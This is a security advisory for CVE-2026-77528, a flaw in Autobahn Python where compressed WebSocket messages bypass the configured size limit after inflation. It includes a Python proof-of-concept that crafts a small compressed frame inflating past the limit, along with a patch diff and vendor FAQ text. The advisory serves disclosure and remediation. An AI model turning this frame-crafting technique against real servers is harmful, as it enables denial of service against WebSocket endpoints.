CVE-2026-77528

CVE-2026-77528 is a medium-severity allocation of resources without limits or throttling vulnerability in autobahn (pip), affecting versions < 26.7.1. It is fixed in 26.7.1.

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Summary

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-77528 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (26.7.1); upgrading removes the vulnerable code path.

Affected versions

autobahn (< 26.7.1) crossbar (< 26.7.1)

Security releases

autobahn → 26.7.1 (pip) crossbar → 26.7.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Frequently Asked Questions

  1. What is CVE-2026-77528? CVE-2026-77528 is a medium-severity allocation of resources without limits or throttling vulnerability in autobahn (pip), affecting versions < 26.7.1. It is fixed in 26.7.1. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. How severe is CVE-2026-77528? CVE-2026-77528 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-77528?
    • autobahn (pip) (versions < 26.7.1)
    • crossbar (pip) (versions < 26.7.1)
  4. Is there a fix for CVE-2026-77528? Yes. CVE-2026-77528 is fixed in 26.7.1. Upgrade to this version or later.
  5. Is CVE-2026-77528 exploitable, and should I be worried? Whether CVE-2026-77528 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-77528 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-77528?
    • Upgrade autobahn to 26.7.1 or later
    • Upgrade crossbar to 26.7.1 or later

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